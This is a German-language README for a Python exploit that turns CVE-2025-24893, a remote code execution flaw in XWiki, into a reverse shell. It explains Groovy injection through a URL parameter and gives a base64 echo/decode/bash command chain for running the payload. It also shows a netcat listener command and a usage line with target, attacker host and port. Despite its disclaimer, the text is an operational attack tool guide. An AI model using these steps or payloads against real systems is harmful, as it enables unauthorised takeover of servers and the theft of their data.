
CVE-2025-24893 RCE-Exploit für XWiki mit Reverse-Shell-Funktionalität
Haftungsausschluss: Dieses Skript ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests gedacht. Verwenden Sie es nicht auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben. Missbrauch kann illegal und gefährlich sein.
Dieses Python-Skript nutzt CVE-2025-24893 aus, eine Schwachstelle zur Remote-Code-Ausführung, die XWiki-Versionen bis 15.10.10 betrifft.
Diese Version erweitert das ursprüngliche PoC von Al Baradi Joy, um eine Reverse-Shell zu starten. Das ursprüngliche PoC finden Sie hier.
XWiki führt Groovy-Code über den URL-Parameter aus.
Der Exploit injiziert einen bash -c-Befehl in diese Groovy-Vorlage.
Eine normale Reverse-Shell enthält mehrere Anführungszeichen (' und "), die die Groovy-Auswertung und die URL stören würden.
Um dies zu lösen, codiert das Skript den einzeiligen Shell-Befehl in Base64.
Die Payload wird dann in der URL gesendet und mit der folgenden Kette ausgeführt:
{echo,<base64>} | {base64,-d} | {bash,-i}
Dies dekodiert die Base64-Payload sicher und führt sie mit bash -i aus, was eine interaktive Reverse-Shell ergibt.
http://<target-host>/ am Ende/xwiki (das Skript hängt ihn automatisch an)Beispiele:
# Korrekt
http://10.129.95.114:8080
http://example.com:8080
# Falsch
http://10.129.95.114:8080/ # abschließender Schrägstrich
http://example.com/xwiki # enthält /xwiki
Bevor Sie den Exploit ausführen, müssen Sie einen Listener auf Ihrem Rechner starten, um die Reverse-Shell zu empfangen.
Beispiel mit Netcat:
nc -lvnp <lport>
<lport> muss mit dem Port übereinstimmen, den Sie als Argument für das Skript angeben.python3 cve-2025-24893.py <target_base_url> <lhost> <lport>
Beispiel:
python3 cve-2025-24893.py http://10.129.95.114:8080 10.0.0.5 4444